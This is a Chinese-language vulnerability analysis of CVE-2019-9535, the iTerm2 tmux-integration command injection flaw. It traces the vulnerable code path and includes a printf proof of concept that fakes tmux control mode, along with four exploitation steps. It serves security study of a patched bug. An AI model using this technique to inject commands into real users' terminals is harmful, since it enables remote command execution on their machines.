iTerm2 任意命令执行漏洞分析(CVE-2019-9535)
2019-11-23 12:31:35 Author: xz.aliyun.com(查看原文) 阅读量:261 收藏

前言

2019年10月9号,Mozilla安全团队公开了iTerm2一个存在了7年的任意命令执行漏洞,用户在使用常规命令(如ssh、curl等存在信息返回的命令)时都存在被攻击的可能,而由于iTerm2的是目前Mac OSX上最流行的终端之一,因此该漏洞影响范围较大,CVSS评分为9.8(critical)

该漏洞存在于iTerm2的tmux集成模块中,但是与tmux的安装与否没有关系,只需要用户的iTerm2输出恶意的内容时,攻击者就可以在用户的计算机上执行命令,所以许多常见的命令都可以导致用户被攻击,如nccatsshcurlheadtail等等。

什么是tmux?

tmux 是一款终端复用软件,用户可以在一个窗口里通过 tmux 创建、访问和控制多个分离的终端,同时还允许对终端进行“解绑”与“附加”。

tmux提供了一个纯文本交互的接口以方便其他应用与tmux进行交互,这一特性称为CONTROL MODE,iTerm2也通过这一特性来实现了tmux集成模块

在tmux的man page中,可以知道CONTROL MODE可以由tmux -Ctmux -CC启动,该模式要求client需要发送以回车为结尾的tmux命令,每个tmux命令都会有一个以%begin开头和%end结尾的文本块代表输出内容,或者一个以%error开头的文本块代表错误内容。

CONTROL MODE中tmux服务端会向客户端输出如下内容,来通知其状态的改变:

  • %client-session-changed client session-id name
  • %exit [reason]
  • %layout-change window-id window-layout window-visible-layout window-flags
  • %output pane-id value
  • %pane-mode-changed pane-id
  • %session-changed session-id name
  • %session-renamed name
  • %session-window-changed session-id window-id
  • %sessions-changed
  • %unlinked-window-add window-id
  • %window-add window-id
  • %window-close window-id
  • %window-pane-changed window-id pane-id
  • %window-renamed window-id name

分析

首先先看对应的(commit)[https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c]描述:

Do not send server-controlled values in tmux integration mode.

CVE-2019-9535

  • Use session number everywhere rather than session name
  • Do not poll tmux for the set-titles-string, status-left, and status-right and
    then request the values of the returned format strings. Use ${T:} eval
    instead. These features are now only available for tmux 2.9 and later.
  • Hex-encode options saved in the tmux server to make them unexploitable (e.g.,
    hotkeys, window affinities, window origins, etc.). The old values are
    accepted as inputs but will never be produced as output.

可以知道漏洞存在于处理set-titles-stringstatus-leftstatus-right时没有对输入进行校验从而导致的命令注入。由于漏洞成因相近,本文只分析set-titles-string的漏洞原理和利用。

阅读tmux源码时,发现当以-CC进入CONTROL MODE时,tmux会输出\033P1000p和一个初始化文本块,例如:

\033P1000p%begin 1337 0 0
%end 1337 0 0

而iTerm2也是利用这一输出判断是否进入tmux模式,因此通过构造输出,iTerm2也会进入tmux模式

$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"
** tmux mode started **

Command Menu
----------------------------
esc    Detach cleanly.
  X    Force-quit tmux mode.
  L    Toggle logging.
  C    Run tmux command.

在阅读iTerm2源码后,发现当处于tmux模式时,iTerm2会将tmux的输出传入TmuxGateway.mexecuteToken函数中,该函数负责处理tmux的返回数据并调用相应的回调函数。

在处理初始化文本块时,会调用currentCommandResponseFinishedWithError函数

- (void)currentCommandResponseFinishedWithError:(BOOL)withError
{
// ......
    if (!_initialized) {
        _initialized = YES;
        if (withError) {
            [delegate_ tmuxInitialCommandDidFailWithError:currentCommandResponse_];
        } else {
            [delegate_ tmuxInitialCommandDidCompleteSuccessfully];
        }
    }
// ......
}

最后会进入PTYSession.mtmuxInitialCommandDidCompleteSuccessfully函数来进行初始化

- (void)tmuxInitialCommandDidCompleteSuccessfully {
    // This kicks off a chain reaction that leads to windows being opened.
    [_tmuxController ping];
    [_tmuxController validateOptions];
    [_tmuxController checkForUTF8];
    [_tmuxController guessVersion];
    [_tmuxController loadTitleFormat];
}

而该函数会调用TmuxGateWay.msendCommand向服务端发送一系列的tmux命令用于初始化:

# tmux命令 回调函数
1 display-message -p -F . handlePingResponse
2 show-window-options -g aggressive-resize showWindowOptionsResponse
3 show-option -g -v status handleStatusResponse
4 list-sessions -F "\t" checkForUTF8Response
5 display-message -p "#{version}" handleDisplayMessageVersion
6 show-window-options pane-border-format guessVersion23Response
7 list-windows -F "#{socket_path}" guessVersion22Response
8 list-windows -F "#{session_activity}" guessVersion21Response
9 list-clients -F "#{client_cwd}" guessVersion18Response
10 show-options -v -g set-titles handleShowSetTitles
11 show-options -v -g set-titles-string handleShowSetTitlesString

当命令#10(show-options -v -g set-titles)的返回是on时,变量_shouldSetTitles值设为true,而命令#11(show-options -v -g set-titles-string)将返回的内容存入setTitlesString变量中,使得该变量可控

- (void)handleShowSetTitles:(NSString *)result {
    _shouldSetTitles = [result isEqualToString:@"on"];
    [[NSNotificationCenter defaultCenter] postNotificationName:kTmuxControllerDidFetchSetTitlesStringOption
                                                        object:self];
}

- (void)handleShowSetTitlesString:(NSString *)setTitlesString {
    _setTitlesString = [setTitlesString copy];
}

同时handleShowSetTitles函数会广播kTmuxControllerDidFetchSetTitlesStringOption消息,从而触发PTYTab.mtmuxDidFetchSetTitlesStringOption函数。

- (void)tmuxDidFetchSetTitlesStringOption:(NSNotification *)notification {
    if (notification.object != tmuxController_) {
        return;
    }

    [self updateTmuxTitleMonitor];
}

- (void)updateTmuxTitleMonitor {
    if (!self.isTmuxTab) {
        return;
    }
    if (tmuxController_.shouldSetTitles) {
        if (_tmuxTitleMonitor) {
            return;
        }
        [self installTmuxTitleMonitor];
    } else {
        if (!_tmuxTitleMonitor) {
            return;
        }
        [self uninstallTmuxTitleMonitor];
    }
}

但是由于此时tmuxController_nil,因此notification.object != tmuxController_为真,并不会调用updateTmuxTitleMonitor

但是,如果执行了updateTmuxTitleMonitor函数,由于_shouldSetTitlestrue,所以会调用installTmuxTitleMonitor

- (void)installTmuxTitleMonitor {
    assert(!_tmuxTitleMonitor);
    if (self.tmuxWindow < 0) {
        return;
    }
    _tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:tmuxController_.gateway
             scope:self.variablesScope
             format:tmuxController_.setTitlesString
             target:[NSString stringWithFormat:@"@%@", @(self.tmuxWindow)]
             variableName:iTermVariableKeyTabTmuxWindowTitle
             block:nil];
    [_tmuxTitleMonitor updateOnce];
    if (self.titleOverride.length == 0) {
        // Show the tmux window title if both the tmux option set-titles is on and the user hasn't
        // already set a title override.
        self.variablesScope.tabTitleOverrideFormat = [NSString stringWithFormat:@"\\(%@?)", iTermVariableKeyTabTmuxWindowTitle];
    }
}

而该函数把可控的tmuxController_.setTitlesString作为format参数,调用initWithGateway初始化一个iTermTmuxOptionMonitor类,从而导致iTermTmuxOptionMonitor的成员变量_format是可控的,而后续又会调用iTermTmuxOptionMonitor中的成员函数updateOnce

- (void)updateOnce {
    if (_haveOutstandingRequest) {
        DLog(@"Not making a request because one is outstanding");
        return;
    }
    _haveOutstandingRequest = YES;
    NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];
    DLog(@"Request option with command %@", command);
    [self.gateway sendCommand:command
               responseTarget:self
             responseSelector:@selector(didFetch:)
               responseObject:nil
                        flags:kTmuxGatewayCommandShouldTolerateErrors];
}

- (NSString *)escapedFormat {
    return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]
            stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
}

而在updateOnce函数中,将可控的_format变量中的'替换成\'以及\替换成\\后发送给tmux服务端,由于没有过滤CRLF从而导致后续利用的发生。

可是,此时的updateTmuxTitleMonitor函数并没有被执行,因此问题转变为如何触发updateTmuxTitleMonitor的执行。

在对iTerm2的tmux集成模块源码进行一番阅读后,发现TmuxGateway.m中的函数parseSessionChangeCommand,该函数在接收到tmux服务端返回的以%session-changed开头的命令时被执行,并且该函数最终会调用函数openWindowsInitial

而在openWindowsInitial中,向tmux服务端发送命令show -v -q -t $%d @iterm2_size并注册了回调函数handleShowSize

- (void)openWindowsInitial {
    NSString *command = [NSString stringWithFormat:@"show -v -q -t $%d @iterm2_size", sessionId_];
    [gateway_ sendCommand:command
           responseTarget:self
         responseSelector:@selector(handleShowSize:)];
}

- (void)handleShowSize:(NSString *)response {
    NSScanner *scanner = [NSScanner scannerWithString:response ?: @""];
    int width = 0;
    int height = 0;
    BOOL ok = ([scanner scanInt:&width] &&
               [scanner scanString:@"," intoString:nil] &&
               [scanner scanInt:&height]);
    if (ok) {
        [self openWindowsOfSize:VT100GridSizeMake(width, height)];
    } else {
        [self openWindowsOfSize:[[gateway_ delegate] tmuxClientSize]];
    }
}

- (void)openWindowsOfSize:(VT100GridSize)size {
    // ......
    NSString *listWindowsCommand = [NSString stringWithFormat:@"list-windows -F %@", kListWindowsFormat];
    // ......
    NSArray *commands = @[ 
        // ......
        [gateway_ dictionaryForCommand:listWindowsCommand
                responseTarget:self
                responseSelector:@selector(initialListWindowsResponse:)
                responseObject:nil
                flags:0] ];
    [gateway_ sendCommandList:commands];
}

handleShowSize被回调时,会调用openWindowsOfSize向tmux服务端发送一系列tmux命令,其中有一条命令list-windows -F %@的回调函数是initialListWindowsResponse,而该函数最终会通过函数openWindows来创建tmux窗口,在这过程中函数appendRequestsForNode会被调用。

由于appendRequestsForNode的调用链过长,在此不再赘述,调用链如下:

- appendRequestsForNode
    - appendRequestsForWindowPane
        - dictForGetPendingOutputForWindowPane
            - getPendingOutputResponse
                - requestDidComplete
                    - loadTmuxLayout
                        - openTabWithTmuxLayout
                            - updateTmuxTitleMonitor // [漏洞触发]

自此,我们已经可以注入恶意命令到tmux服务端,如下图所示

但是这里存在一个问题,由于tmux server是由我们伪造的,那么即使注入了恶意的tmux命令,也只是把恶意命令返回给自己(即不存在真正的tmux server去处理它),那么所谓的命令注入又是如何执行的呢?

利用

事实上,所有的tmux命令都经由TmuxGateway进行处理,所有待处理的命令都会存放在TmuxGatewaycommandQueue_队列中。当某条命令出错时,所有的待处理命令会被神奇的输出在iTerm2里(包括回车),这就造成了命令注入,一个简单的POC如下:

sh-3.2$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0\n%%CVE-2019-9535\n"
** tmux mode started **

Command Menu
----------------------------
esc    Detach cleanly.
  X    Force-quit tmux mode.
  L    Toggle logging.
  C    Run tmux command.
Unrecognized command from tmux. Did your ssh session die? The command was:
sh-3.2$ display-message -p -F .
Detached
sh-3.2$ show-option -g -v status
sh: show-option: command not found
sh-3.2$ list-sessions -F ""
sh: list-sessions: command not found
sh-3.2$ display-message -p "#{version}"
sh: display-message: command not found
sh-3.2$ show-window-options pane-border-format
sh: show-window-options: command not found
sh-3.2$ list-windows -F "#{socket_path}"
sh: list-windows: command not found
sh-3.2$ list-windows -F "#{session_activity}"
sh: list-windows: command not found
sh-3.2$ list-clients -F "#{client_cwd}"
sh: list-clients: command not found
sh-3.2$ show-options -v -g set-titles; show-options -v -g set-titles-string
sh: show-options: command not found
sh: show-options: command not found
sh-3.2$

综上,漏洞的主要利用过程如下:

  1. 通过"\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"伪装tmux服务端
  2. 对iTerm2发出的tmux命令返回合法的结果,其中show-options -v -g set-titles返回onshow-options -v -g set-titles-string返回恶意payload
  3. 向iTerm2发出%session-changed通知,用于触发updateTmuxTitleMonitor,将恶意命令注入TmuxGateway.commandQueue_
  4. 对iTerm2发出的tmux命令返回非法的结果,触发命令执行

参考

[1]. Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit

[2]. tmux source code

[3]. Do not send server-controlled values in tmux integration mode.

[4]. iTerm2: tmux Integration

[5]. iTerm2 CVE-2019-9535 分析(待续)

[6]. [CVE-2019-9535] Iterm2命令执行的不完整复现

文中有误之处,还请师傅们斧正!


文章来源: http://xz.aliyun.com/t/6796
如有侵权请联系:admin#unsafe.sh